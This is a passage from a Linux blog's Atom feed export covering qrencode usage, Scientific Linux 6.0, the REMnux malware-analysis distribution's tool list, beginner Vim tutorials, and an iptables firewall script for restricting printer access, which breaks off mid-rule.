/&gt;&lt;/pre&gt;&lt;br /&gt;Qrencode for this blog.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#qrencode -o linux-techy.png 'http://www.linux-techy.blogspot.com'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If you want to increase the size of QR code generated, use the ‘-s‘ argument where the value of ‘-s‘ will generate ‘sxs’ 2D image.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#qrencode -o ~/Desktop/google.png -s 8 'http://google.com' &lt;/pre&gt;This will create 8x8 image.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;References -&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;a href="http://en.wikipedia.org/wiki/QR_code"&gt;http://en.wikipedia.org/wiki/QR_code&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;a href="http://www.linuxaria.com/pills/qr-code-in-linux?lang=en"&gt;http://www.linuxaria.com/pills/qr-code-in-linux?lang=en&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-7204387461653120210?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/7204387461653120210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/04/install-create-qr-code.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7204387461653120210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7204387461653120210'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/04/install-create-qr-code.html' title='Install &amp; create QR code.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-QU9sc8ylThg/TaRTIKt_gBI/AAAAAAAAANo/pq2Oqd9XVVM/s72-c/img.php.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-2986176656991105019</id><published>2011-03-20T16:46:00.000+05:30</published><updated>2011-04-12T17:04:45.226+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Scientific Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Outstanding Linux Distros'/><title type='text'>Scientific Linux 6.0 - A treat to scientific community.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-ucEY4P3cEz0/TaQ4RIVwq0I/AAAAAAAAANg/t2-Y7blCe3E/s1600/scientific-small.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="256" src="http://4.bp.blogspot.com/-ucEY4P3cEz0/TaQ4RIVwq0I/AAAAAAAAANg/t2-Y7blCe3E/s320/scientific-small.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Scientific Linux (SL) 6.0 produced by Fermi National Accelerator Laboratory and the European Organization for Nuclear Research (CERN). It is the latest release of a Red Hat-based distribution specifically developed to meet the needs of the scientific computing community. This release is based on Red Hat Enterprise Linux (RHEL) 6.0 like CentOS, compiled from source.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt; SL 6.0 includes a number of tools, including Eclipse 3.5.2, Gnu Emacs, OpenJDK, and both Qt3 and Qt4. Python 2.6.5 is the default version installed along with gcc 4.4.4. You can install other languages using the normal Add/Remove Software tool from the System / Administration menu. Certain choices added that were not present in the predecessor 5.0 are &lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Standard Gnome desktop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Minimal Desktop (this will give you a light Gnome with little more than Firefox, Nautilus file manager and the Terminal)&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Basic Server (511 packages, a cli server setup)&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Database Server (525 packages, cli setup)&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Web Server (612 packages, cli setup)&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Virtual Host (554 packages, cli only by default)&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Software Development Workstation (Emacs, Eclipse, OpenJDK, VMM)&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Web Development Workstation (Emacs, Eclipse, OpenJDK)&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Minimal (206 packages only, cli only)&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;it also provides additional packages not found in the upstream product,  the most notable among these are various file systems, including  Cluster Suite and Global File System (GFS), FUSE, OpenAFS, Squashfs and  Unionfs, wireless networking support with Intel wireless firmware,  MadWiFi and NDISwrapper, Sun Java and Java Development Kit (JDK), the  lightweight IceWM window manager, R - a language and environment for  statistical computing, and the Alpine email client.&lt;br /&gt;The new version is fast and smooth on 512MB.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-2986176656991105019?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/2986176656991105019/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/03/scientific-linux-60-treat-to-scientific.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2986176656991105019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2986176656991105019'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/03/scientific-linux-60-treat-to-scientific.html' title='Scientific Linux 6.0 - A treat to scientific community.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-ucEY4P3cEz0/TaQ4RIVwq0I/AAAAAAAAANg/t2-Y7blCe3E/s72-c/scientific-small.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-871288865262871682</id><published>2011-01-14T17:55:00.000+05:30</published><updated>2011-01-14T17:55:31.523+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Outstanding Linux Distros'/><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting Live CD'/><title type='text'>REMnux : Distro for Malware Analyst</title><content type='html'>&lt;a href="http://zeltser.com/remnux/"&gt;REMnux&lt;/a&gt; is another pentesting OS that you would like to have in your arsenal. Basically, it aids investigating malwares, so it's a very handy OS for malware analysts for reverse engineering malicious piece of software. The distribution is based on Ubuntu. Along with analysing malwares, it can also assist analyzing IRC bots, network monitoring, javascript deobfuscation, analyzing shellcode, memory forensics etc.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://zeltser.com/remnux/"&gt;REMnux&lt;/a&gt; is also useful for analyzing web-based malware, like malicious JavaScript, Java programs and Flash files. It also has tools for analyzing malicious documents, such as Microsoft doc files, PDF files, and utilities for reversing malware through memory forensics. In these cases, malware may be loaded onto &lt;a href="http://zeltser.com/remnux/"&gt;REMnux&lt;/a&gt; and analyzed directly without requiring other systems to be present in the lab.&lt;br /&gt;There is a huge list of tools in this OS [excerpt from&amp;nbsp;&lt;a href="http://zeltser.com/remnux/"&gt;http://zeltser.com/remnux/&lt;/a&gt; ] :&lt;br /&gt;&lt;blockquote&gt;&lt;h3&gt;Malware Analysis Tools Set Up On REMnux&lt;/h3&gt;Analyzing Flash malware: &lt;a href="http://www.swftools.org/"&gt;swftools&lt;/a&gt;, &lt;a href="http://www.nowrap.de/flasm.html"&gt;flasm&lt;/a&gt;, &lt;a href="http://www.nowrap.de/flare.html"&gt;flare&lt;/a&gt;, &lt;a href="https://github.com/CyberShadow/RABCDAsm"&gt;RABCDAsm&lt;/a&gt;&lt;br /&gt;Analyzing IRC bots: IRC server (&lt;a href="http://www.inspircd.org/"&gt;Inspire IRCd&lt;/a&gt;) and clients (&lt;a href="http://www.irssi.org/"&gt;Irssi&lt;/a&gt;, &lt;a href="http://www.eterna.com.au/ircii/"&gt;ircII&lt;/a&gt;). To launch the IRC server, type "&lt;tt&gt;ircd start&lt;/tt&gt;"; to shut it down "&lt;tt&gt;ircd stop&lt;/tt&gt;". To launch the IRC client, type "&lt;tt&gt;irc&lt;/tt&gt;".&lt;br /&gt;Network-monitoring and interactions: &lt;a href="http://www.wireshark.org/"&gt;Wireshark&lt;/a&gt;, &lt;a href="http://www.honeyd.org/"&gt;Honeyd&lt;/a&gt;, &lt;a href="http://www.inetsim.org/"&gt;INetSim&lt;/a&gt;, &lt;a href="http://code.activestate.com/recipes/491264-mini-fake-dns-server/"&gt;fakedns&lt;/a&gt; and fakesmtp scripts, NetCat&lt;br /&gt;JavaScript deobfuscation: Firefox with &lt;a href="http://getfirebug.com/"&gt;Firebug&lt;/a&gt;, &lt;a href="http://noscript.net/"&gt;NoScript&lt;/a&gt; and &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/10345/"&gt;JavaScript Deobfuscator&lt;/a&gt; extensions, &lt;a href="http://www.mozilla.org/rhino/debugger.html"&gt;Rhino debugger&lt;/a&gt;, two versions of patched &lt;a href="http://www.mozilla.org/js/spidermonkey/"&gt;SpiderMonkey&lt;/a&gt;, &lt;a href="http://www.virtualconspiracy.com/index.php?page=scrdec/intro"&gt;Windows Script Decoder&lt;/a&gt;, &lt;a href="http://jsunpack.blogspot.com/"&gt;Jsunpack-n&lt;/a&gt;&lt;br /&gt;Interacting with web malware: &lt;a href="http://tinyhttpd.sourceforge.net/"&gt;TinyHTTPd&lt;/a&gt;, &lt;a href="http://www.parosproxy.org/"&gt;Paros proxy&lt;/a&gt;, &lt;a href="http://www.portswigger.net/burp/"&gt;Burp Suite Free Edition&lt;/a&gt;, &lt;a href="http://www.stunnel.org/"&gt;stunnel&lt;/a&gt;, &lt;a href="http://www.virustotal.com/advanced.html"&gt;VirusTotal VTzilla&lt;/a&gt;, &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/59/"&gt;User Agent Switcher&lt;/a&gt;, &lt;a href="https://www.torproject.org/"&gt;Tor&lt;/a&gt; and &lt;a href="http://code.google.com/p/torsocks/"&gt;torsocks&lt;/a&gt; with "usewithtor"). To launch the Tor daemon, type "&lt;tt&gt;tor start&lt;/tt&gt;"; to shut it down "&lt;tt&gt;tor stop&lt;/tt&gt;".&lt;br /&gt;Analyzing shellcode: &lt;a href="http://www.gnu.org/software/gdb/"&gt;gdb&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Objdump"&gt;objdump&lt;/a&gt;, &lt;a href="http://radare.nopcode.org/"&gt;Radare&lt;/a&gt; (hex editor+disassembler), &lt;a href="http://zeltser.com/reverse-malware/convert-shellcode.html"&gt;shellcode2exe&lt;/a&gt;, &lt;a href="http://libemu.carnivore.it/"&gt;libemu&lt;/a&gt; with "sctest", &lt;a href="http://code.google.com/p/distorm/"&gt;diStorm disassembler&lt;/a&gt; library&lt;br /&gt;Dealing with suspicious files: &lt;a href="http://www.upx.org/"&gt;upx&lt;/a&gt;, &lt;a href="http://handlers.dshield.org/jclausing/packerid.py"&gt;packerid&lt;/a&gt;, &lt;a href="http://www.cert.at/downloads/software/bytehist_en.html"&gt;bytehist&lt;/a&gt;, &lt;a href="http://blog.didierstevens.com/programs/xorsearch/"&gt;xorsearch&lt;/a&gt;, &lt;a href="http://mark0.net/soft-trid-e.html"&gt;TRiD&lt;/a&gt;, &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/12/1/xortools.py"&gt;xortools.py&lt;/a&gt;, &lt;a href="http://www.clamav.net/"&gt;ClamAV&lt;/a&gt;, &lt;a href="http://ssdeep.sourceforge.net/"&gt;ssdeep&lt;/a&gt;, &lt;a href="http://md5deep.sourceforge.net/"&gt;md5deep&lt;/a&gt;, &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/3/8/pescanner.py"&gt;pescanner.py&lt;/a&gt;&lt;br /&gt;&lt;a href="http://zeltser.com/reverse-malware/analyzing-malicious-documents.html"&gt;Malicious document file analysis&lt;/a&gt;: &lt;a href="http://blog.didierstevens.com/programs/pdf-tools/"&gt;Didier's PDF tools&lt;/a&gt;, &lt;a href="http://seclabs.org/origami/"&gt;Origami framework&lt;/a&gt;, &lt;a href="http://jsunpack.blogspot.com/2009/06/very-cool-javascript-decoding-on.html"&gt;Jsunpack-n&lt;/a&gt;, &lt;a href="http://www.accesspdf.com/pdftk/"&gt;pdftk&lt;/a&gt;, &lt;a href="http://evilcodecave.blogspot.com/2010/08/malicious-%20office-files-analysis.html"&gt;pyOLEScanner.py&lt;/a&gt;&lt;br /&gt;Memory forensics: &lt;a href="https://www.volatilesystems.com/default/volatility"&gt;Volatility Framework&lt;/a&gt; with &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/malware.py"&gt;malware.py&lt;/a&gt;, &lt;a href="http://citp.princeton.edu/memory/code/"&gt;AESKeyFinder and RSAKeyFinder&lt;/a&gt;.&lt;br /&gt;Miscellaneous: unzip, strings, &lt;a href="http://linuxbrit.co.uk/software/feh/"&gt;feh&lt;/a&gt; image viewer, &lt;a href="http://www.scintilla.org/SciTE.html"&gt;SciTE &lt;/a&gt;text editor, &lt;a href="http://www.openssh.com/"&gt;OpenSSH &lt;/a&gt;server, &lt;a href="http://www.cjmweb.net/vbindiff/"&gt;VBinDiff&lt;/a&gt; file comparison/viewer.&lt;/blockquote&gt;It doesn't cover all malware analysis tools, specially those designed for windows. Those who like to work in windows tools should look at &lt;a href="http://sourceforge.net/projects/zerowine/"&gt;ZeroWine project&lt;/a&gt;.&lt;br /&gt;You can download &lt;a href="http://sourceforge.net/projects/remnux/files/version2/remnux-vm-public-2.0.zip/download"&gt;VMware version&lt;/a&gt; or &lt;a href="http://sourceforge.net/projects/remnux/files/version2/remnux-public-2.0-live-cd.iso/download"&gt;Live cd version&lt;/a&gt; of this distribution.&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://zeltser.com/remnux/"&gt;http://zeltser.com/remnux/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://holisticinfosec.org/toolsmith/docs/september2010.html"&gt;http://holisticinfosec.org/toolsmith/docs/september2010.html&amp;nbsp; &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-871288865262871682?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/871288865262871682/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/01/remnux-distro-for-malware-analyst.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/871288865262871682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/871288865262871682'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/01/remnux-distro-for-malware-analyst.html' title='REMnux : Distro for Malware Analyst'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-7974355161715327898</id><published>2011-01-04T17:31:00.000+05:30</published><updated>2011-12-03T19:32:28.909+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Vim Editor'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><title type='text'>Understanding VIM : Beginner's Tutorial-2</title><content type='html'>&lt;a href="http://linux-techy.blogspot.com/2011/01/understanding-vim-begineers-tutorial-1.html"&gt;Cont. from previous post.&lt;/a&gt;&lt;br /&gt;Here we are going to know about copying/pasting &amp;amp; searching in vim editor. Let's open a file, created previously. &lt;br /&gt;Now, we want to search 'gofer'. If you are not inside command mode, type [esc]. Now, type /gofer &amp;amp; enter. If you want to highlight next appearance of gofer, hit n. If you want to highlight previous appearance of gofer, hit N. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Use these syntax for further editing:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * /text search for text in the document, going forward.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * n move the cursor to the next instance of the text from the last search. This will wrap to the beginning of the document.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * N move the cursor to the previous instance of the text from the last search.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * ?text search for text in the document, going backwards.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * :%s/text/replacement text/g search through the entire document for text and replace it with replacement text.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * :%s/text/replacement text/gc search through the entire document and confirm before replacing text.&lt;br /&gt;&lt;br /&gt;If you accidentally deleted the lines using dd key, you can paste it back using p &amp;amp; P keys. Use v/V to move cursor using arrow keys, then use y to copy some text &amp;amp; paste it using p/P.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * v highlight one character at a time.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * V highlight one line at a time.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Ctrl-v highlight by columns.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * p paste text after the current line.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * P paste text on the current line.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * y yank text into the copy buffer.&lt;br /&gt;&lt;br /&gt;Now, type : to get into last-line mode. hit w to write or if you want to write it in different file, do w &lt;another_file&gt; &amp;amp; enter. You can also save the file using ZZ which will save &amp;amp; quit the file.&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;/another_file&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-7974355161715327898?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/7974355161715327898/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/01/understanding-vim-beginners-tutorial-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7974355161715327898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7974355161715327898'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/01/understanding-vim-beginners-tutorial-2.html' title='Understanding VIM : Beginner&apos;s Tutorial-2'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-883565837786465237</id><published>2010-12-31T00:04:00.002+05:30</published><updated>2011-12-03T19:32:28.926+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Vim Editor'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><title type='text'>Understanding VIM : Beginner's Tutorial-1</title><content type='html'>Vim editor takes some time to settle within the working arena&amp;nbsp; of professionals. It's a cake walk when people use it for atleast a week. &lt;br /&gt;There are three modes in vim - insert mode, command mode, and last-line mode. &lt;br /&gt;Insert mode is meant for inserting text, press i for start mode. Command mode is used for executing formating texts. Last-line mode is used for executing extended commands for text formating. &lt;br /&gt;Start Vim by typing vim &lt;filename&gt;/vi &lt;filename&gt;.&lt;/filename&gt;&lt;/filename&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;When you run vim filename to edit a file, Vim starts out in command mode. This means that all the alphanumeric keys are bound to commands, rather than inserting those characters. Typing j won't insert the character "j"--it will move the cursor down one line. Typing dd will delete an entire line, rather than inserting "dd." To get into insert mode, press i. &lt;br /&gt;Now you can insert text. You finished writing the text, so you want to save it. Type esc key, now you are in command mode. You may need to edit your file using these keys:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * h moves the cursor one character to the left.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * j moves the cursor down one line. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * b move backward one word.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * G move to the end of the file.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * gg move to the beginning of the file.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * `. move to the last edit.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * k moves the cursor up one line.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * l moves the cursor one character to the right.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * 0 moves the cursor to the beginning of the line.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * $ moves the cursor to the end of the line.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * w move forward one word.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * x for deleting the character at which cursor is present.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * d starts the delete operation.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * dw will delete a word.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * d0 will delete to the beginning of a line.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * d$ will delete to the end of a line.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * dgg will delete to the beginning of the file.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * dG will delete to the end of the file.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * u will undo the last operation.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Ctrl-r will redo the last undo.&lt;br /&gt;Note that all these deletion operation will start from the position of cursor. &lt;br /&gt;You can extend the operation of these keys, for example k will move the cursor 1 line up, similarly 3k will move the cursor 3 lines up. Same&amp;nbsp; follows for l, w, b, h, j, b. &lt;br /&gt;Ok, now you want to search something within the text file or save it. Type :, to get into last-line mode. Now save &amp;amp; exit by entering wq!. w for write, q for quit &amp;amp; ! to confirm your operation. If you want to exit without saving any changes, press q!. We will be covering keys for searching &amp;amp; copying/pasting in the next post. Stay tuned.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-883565837786465237?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/883565837786465237/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/01/understanding-vim-begineers-tutorial-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/883565837786465237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/883565837786465237'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/01/understanding-vim-begineers-tutorial-1.html' title='Understanding VIM : Beginner&apos;s Tutorial-1'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-6669430655809535043</id><published>2010-12-30T22:36:00.000+05:30</published><updated>2010-12-30T22:36:57.271+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Enhance Linuxbox Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Iptables'/><title type='text'>Enhance Linuxbox Security : Iptables Printer Rules to Limit Access to Local LAN.</title><content type='html'>&lt;a href="http://2.bp.blogspot.com/_aCbewboCjBM/TRy6Mtxnf4I/AAAAAAAAANE/SFuBW8aY024/s1600/top.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="244" src="http://2.bp.blogspot.com/_aCbewboCjBM/TRy6Mtxnf4I/AAAAAAAAANE/SFuBW8aY024/s320/top.jpg" width="320" /&gt;&lt;/a&gt;Assume a topology of a local LAN connected to the internet through a gateway in which you are configuring Iptables firewall. This gateway is attached to a printer &amp;amp; running a print server. The LAN belongs to 192.168.1.0/24 ip range. We want to limit the access of printer within the local LAN &amp;amp; bar the printer access from the outside internet. See figure.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;We have to edit the iptables configuration file mentioned in this &lt;a href="http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-creating.html"&gt;post&lt;/a&gt; to accomodate rules meant for print server. &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 300px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#!/bin/bash&lt;br /&gt;# please verify if the Source Address Verifcation in /etc/sysctl.conf is enabled: &lt;br /&gt;#net.ipv4.conf.all.rp_flter = 1&lt;br /&gt;# Define some variables&lt;br /&gt;# Location of the binaries&lt;br /&gt;IPTABLES="/sbin/iptables"&lt;br /&gt;# Loopback Interface&lt;br /&gt;LOOPBACK="lo" &lt;br /&gt;## Flush all rules&lt;br /&gt;$IPTABLES -F&lt;br /&gt;&lt;br /&gt;## Set default policies&lt;br /&gt;$IPTABLES -P INPUT DROP&lt;br /&gt;$IPTABLES -P OUTPUT ACCEPT&lt;br /&gt;$IPTABLES -P FORWARD DROP&lt;br /&gt;# Creating a custom chain SERV. &lt;br /&gt;$IPTABLES -N SERV&lt;br /&gt;&lt;br /&gt;## Allow access to the Loopback host, so that you can ping yourself&lt;br /&gt;$IPTABLES -A INPUT -i $LOOPBACK -j ACCEPT&lt;br /&gt;$IPTABLES -A OUTPUT -o $LOOPBACK -j ACCEPT&lt;br /&gt;&lt;br /&gt;## Incoming external traffic rules &lt;br /&gt;# Accept ICMP echo-replay incoming traffic for outgoing PINGs, so that when you &lt;br /&gt;# ping other pc your pc don't drop the echo-reply &amp;amp; you can detect alive coms.   &lt;br /&gt;$IPTABLES -A INPUT  -p icmp --icmp-type echo-reply -j ACCEPT&lt;br /&gt;#calling custom chain&lt;br /&gt;$IPTABLES -A INPUT -j SERV&lt;br /&gt;&lt;br /&gt;## Accept all established incoming traffic&lt;br /&gt;$IPTABLES -A INPUT  -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;## Log all dropped incoming traffic&lt;br /&gt;$IPTABLES -A INPUT -j LOG -log-prefix="myLogInput:"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;##Rules in custom chain that will be executed when called.  &lt;br /&gt;#Accepting communication at specific ports. Use command netstat --inet -pln . &lt;br /&gt;# If firefox is running on #8008&lt;br /&gt;$IPTABLES -A SERV -p tcp --dport  8008 -j 